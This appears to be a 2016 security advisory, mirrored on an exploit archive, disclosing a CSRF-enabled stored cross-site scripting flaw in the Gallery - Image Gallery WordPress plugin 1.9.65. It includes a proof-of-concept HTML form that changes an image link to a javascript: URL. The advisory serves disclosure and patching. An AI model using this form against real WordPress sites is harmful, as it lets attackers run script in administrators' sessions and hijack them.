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WordPress Image Gallery 1.9.65 Cross Site Scripting Vulnerability
[------------------------------------------------------------------------ Stored Cross-Site Scripting in Gallery - Image Gallery WordPress Plugin ------------------------------------------------------------------------ Sipke Mellema, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A persistent Cross-Site Scripting vulnerability was found in the Gallery - Image Gallery plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0015 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on the Gallery - Image Gallery WordPress Plugin version 1.9.65. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Gallery - Image Gallery WordPress Plugin version 2.0.6. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_in_gallery___image_gallery_wordpress_plugin.html The issue exists because the Gallery image does not protect against CSRF attacks for the requests to edit gallery images. This makes it possible to change gallery image URLs to JavaScript schemas. The JavaScript will be saved. Every time a user clicks on the gallery image the JavaScript will run (Persistent Cross-Site Scripting). Proof of Concept Have an authenticated admin visit a webpage with the following form: <html> <body> <form action="http://<wordpress site>/wp-admin/admin.php?page=gallerys_huge_it_gallery&id=2&task=apply&huge_it_nonce=b37a25b33d" method="POST"> <input type="hidden" name="changedvalues" value="11" /> <input type="hidden" name="name" value="New gallery" /> <input type="hidden" name="imagess" value="" /> <input type="hidden" name="order_by_11" value="1" /> <input type="hidden" name="imagess11" value="Foo" /> <input type="hidden" name="titleimage11" value="test" /> <input type="hidden" name="im_description11" value="asd" /> <input type="hidden" name="sl_url11" value="javascript:alert(1)" /> <input type="hidden" name="sl_link_target11" value="" /> <input type="hidden" name="like_11" value="9" /> <input type="hidden" name="dislike_11" value="0" /> <input type="hidden" name="name" value="New gallery" /> <input type="hidden" name="huge_it_sl_effects" value="5" /> <input type="hidden" name="sl_width" value="600" /> <input type="hidden" name="sl_height" value="1" /> <input type="hidden" name="gallery_list_effects_s" value="cubeH" /> <input type="hidden" name="sl_position" value="center" /> <input type="hidden" name="display_type" value="2" /> <input type="hidden" name="content_per_page" value="5" /> <input type="hidden" name="autoslide" value="off" /> <input type="hidden" name="autoslide" value="on" /> <input type="hidden" name="pause_on_hover" value="off" /> <input type="hidden" name="pause_on_hover" value="on" /> <input type="hidden" name="sl_pausetime" value="4000" /> <input type="hidden" name="sl_changespeed" value="1000" /> <input type="hidden" name="rating" value="dislike" /> <input type="hidden" name="task" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> This will change the URL for the image (the image source) to javascript:alert(1). If a user clicks on the image name, the JavaScript will run. # 0day.today [2024-11-15] #